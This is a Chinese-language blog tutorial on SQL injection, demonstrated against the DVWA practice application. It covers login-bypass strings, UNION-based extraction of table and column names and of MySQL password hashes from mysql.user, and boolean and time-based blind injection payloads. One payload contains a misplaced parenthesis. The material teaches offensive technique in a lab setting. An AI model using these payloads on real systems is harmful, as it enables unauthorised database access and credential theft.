常見的Web漏洞——SQL注入

SQL注入簡介

SQL注入是網站存在最多也是最簡單的漏洞,主要原因是程序員在開發用戶和數據庫交互的系統時沒有對用戶輸入的字符串進行過濾,轉義,限制或處理不嚴謹,導致用戶可以通過輸入精心構造的字符串去非法獲取到數據庫中的數據。本文以免費開源數據庫MySQL爲例,看懂本文需要了解基本SQL語句。

SQL注入原理

一般用戶登錄用的SQL語句爲:SELECT * FROM user WHERE username='admin' AND password='passwd',此處admin和passwd分別爲用戶輸入的用戶名和密碼,如果程序員沒有對用戶輸入的用戶名和密碼做處理,就可以構造萬能密碼成功繞過登錄驗證,如用戶輸入'or 1#,SQL語句將變爲:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1爲TRUE,#註釋掉後面的內容,所以查詢語句可以正確執行。我們可以使用DVWA來測試一下。

打開DVWA也面,登錄,然後修改DVWA Security等級爲Low點擊submit,如圖


然後點擊左側SQL Injection,出現一個輸入ID查數據的文本框,點擊網站右下角的View Source可查看源代碼,如圖


可以看到SQL語句爲SELECT first_name, last_name FROM users WHERE user_id = '$id';用戶輸入的字符串存在$id變量中,可以看到上面沒有任何處理用戶輸入的字符串的函數,因此可以肯定這裏存在SQL注入,我們仍然可以輸入'or 1#,是SQL語句變爲:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';從而查詢到所有的first_name和last_name,如圖


SQL注入分類及判斷

事實上SQL注入有很多種,按數據類型可以分爲數字型、字符型和搜索型,按提交方式可分爲GET型,POST型,Cookie型和HTTP請求頭注入,按執行效果有可以分爲報錯注入、聯合查詢注入、盲注和堆查詢注入,其中盲注又可分爲基於bool的和基於時間的注入。從查詢語句及可看出來這裏是字符型的注入同時也是GET型注入和表單注入,數字型注入查詢語句爲:SELECT * FROM user WHERE id=1,搜索型注入爲查詢語句爲:SELECT * FROM user WHERE search like '%1%'

在知道查詢語句的情況下我們很容易辨別是否存在注入及注入類型,很多時候我們並不知道查詢語句是什麼,所以我們可以這樣判斷,在URL或者表單中輸入一個單引號或者其他特殊符號,頁面出現錯誤說明此頁面存在SQL注入,如果頁面正常顯示說明有字符被過濾或者不存在注入,讀者可自行測試,如果存在注入可以進一步判斷注入類型,在URL或者表單中輸入0 or 1,如果可以查到數據,說明是數字型注入,如果輸入0'or 1#,查到數據說明是字符型注入,方法不唯一。總之數字型注入不需要使用單引號閉合前面的單引號就可以執行SQL語句,而字符型必須閉合前面的單引號,然後纔可以執行SQL語句,同時也需要把後面的單引號閉合,而註釋就是很好的一種閉合後面的單引號的方法。

GET型注入很容易從URL中看出來,如圖,網頁的URL爲:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,瀏覽器通常使用?來表示GET方法傳遞參數,而使用POST傳遞參數是不會顯示到URL中的,因此URL中含有?說明就是使用GET方法傳遞參數


SQL注入方法

注入方法可以直接在URL中提交注入語句,需要注意的是,在URL提交SQL語句,需要將註釋符#進行URL編碼,有時候所有SQL語句都需要URL編碼,如圖


聯合查詢注入

POST型注入和Cookie注入需要插件和工具纔可進行,以後在介紹,聯合查詢注入也是用的非常多的,可以在URL中提交SQL語句,也可以在表單提交,聯合查詢相當於把別的表的數據查詢結果顯示到當前表,使用聯合查詢時,必須使得兩張表的表結構一致,因此我們需要判斷當前表的列數有多少列,此外還需知道是字符型注入還是數字型注入,由前面實驗可知這是字符型注入,所以我們閉合前面的單引號,構造聯合注入語句,輸入1'order by 1#,頁面正常,然後輸入1'order by 2#,依次增加,直到3時出現錯誤,如圖,說明當前表有2列


接着我們構造聯合查詢語句暴露查詢列顯示在網頁的位置:'union select 1,2#


接着構造聯合查詢語句查詢當前數據庫用戶和數據庫名,結果會顯示在上圖對應的位置:'union select user(),database()#


我們知道每個MySQL數據庫中都有數據庫information,和mysql,而所有的數據庫信息全部存儲在information中,MySQL的用戶名和密碼存儲在mysql中的user表中,所以我們可以使用information來查詢到所有的數據,查詢當前數據庫所有數據表:'union select 1,table_name from information_schema.tables where table_schema=database()#

查詢當前數據庫下數據表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#

查詢當前數據庫下數據表abc的字段user的數據:'union select 1,user from abc#

查詢MySQL的root用戶和密碼hash值:'union select user,authentication_string from mysql.user#,如圖


基於bool的盲注

上面這些注入方法都需要網頁可以顯示查詢數據的結果,而盲注適合頁面不顯示任何數據查詢結果,基於bool的盲注就是頁面只有正常和不正常兩種情況,通過true和false來猜解數據,速度比較慢,基於bool的盲注通常用函數

length(),返回長度,ascii(),返回ASCII值,substr(string,a,b),返回string以a開頭,長度爲b的字符串,count(),返回數量

點擊DVWA頁面的SQL Injection(Blind),隨便輸入數字發現只有兩種顯示結果,符合bool注入條件,構造語句猜測當前數據庫名長度是否大於5:1' and length(database())>5#,如圖


說明當前數據庫長度是小於5 的用二分法繼續構造:1' and length(database())>3#


顯然長度大於3卻不大於5,當前數據庫名長度就是4,然後判斷數據庫名第一個字符ASCII是否大於97:1'and (ascii(substr(database(),1,1)))>97#,依舊使用二分法慢慢判斷,最終確定爲ASCII爲100,對應字符爲:d

然後判斷數據庫名第二個字符ASCII是否大於97:1'and (ascii(substr(database(),2,1)))>97#,最終確定ASCII爲118,對應字符:v,同上步驟繼續,最終確定當前數據庫爲:dvwa

然後判斷當前數據庫中數據表的個數:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,這個步驟可以有也可以沒有,看完下面就知道了

然後判斷當前數據庫中第一個數據表的長度是否大於5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,結果如圖


原理同上面判斷數據庫長度,最後得到當前數據庫的第一個數據表的長度,獲取第二個表的長度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三個,第四個以此類推,當第N個數據表長度大於0返回爲假時,說明這個數據表不存在

然後猜解當前數據庫的第一個數據表第一個字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,結果爲103,對應字符:g

然後猜解當前數據庫的第一個數據表的第二個字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,結果爲117,對應字符:u

第三個,第四個字符以此類推直到猜解完畢

然後猜解當前數據庫中數據表users的列數:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同樣,這個步驟也是可以省略的

然後猜解當前數據庫中數據表users第一列的長度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,當大於0爲假,說明此列不存在

然後猜解當前數據庫數據表users的第一列字段的第一個字符1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然後依次猜解完全部字段

基於時間的盲注

基於時間的盲注和基於bool的盲注很相似,只不過基於時間的盲注用於不管執行的SQL語句正確與否,頁面都不會給任何提示,因此無法使用bool盲注。基於時間的盲注經常用到的函數除了上面的還有延時函數sleep(),if(c,a,b),如果c爲真執行a,否則執行b

猜解當前數據庫名的長度,如果長度大於0就會延時5s:1'and if(length(database())>0,sleep(5),0)#,如圖


然後猜解當前數據庫中數據表的個數:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#

然後猜解當前數據庫中的第一個數據表第一個字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#

同bool注入的步驟一樣,只是注入語句有點差異,類比上面的語句即可猜解數所有數據

總結

SQL注入技術不是單憑一篇博客就可以講完的,這裏只帶領大家掌握SQL注入的原理及常見的幾種SQL注入的形成原因及利用方法,後面遇見在詳解其他方法。有很多講SQL注入的書,個人認爲Justin Clarke寫的《SQL注入攻擊與防禦》很不錯,類似的書還有很多,如果想自己深入學習,可以尋找適合自己的書。相信大家通過本篇已掌握SQL注入原理和相應類型的注入的方法,同時也需要掌握SQL注入的一般步驟:

1、測試網頁是否存在SQL注入

2、判斷SQL注入類型

3、利用SQL語句查詢數據庫當前用戶及數據庫

4、利用SQL語句查詢表名、列名、字段名以及字段值

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章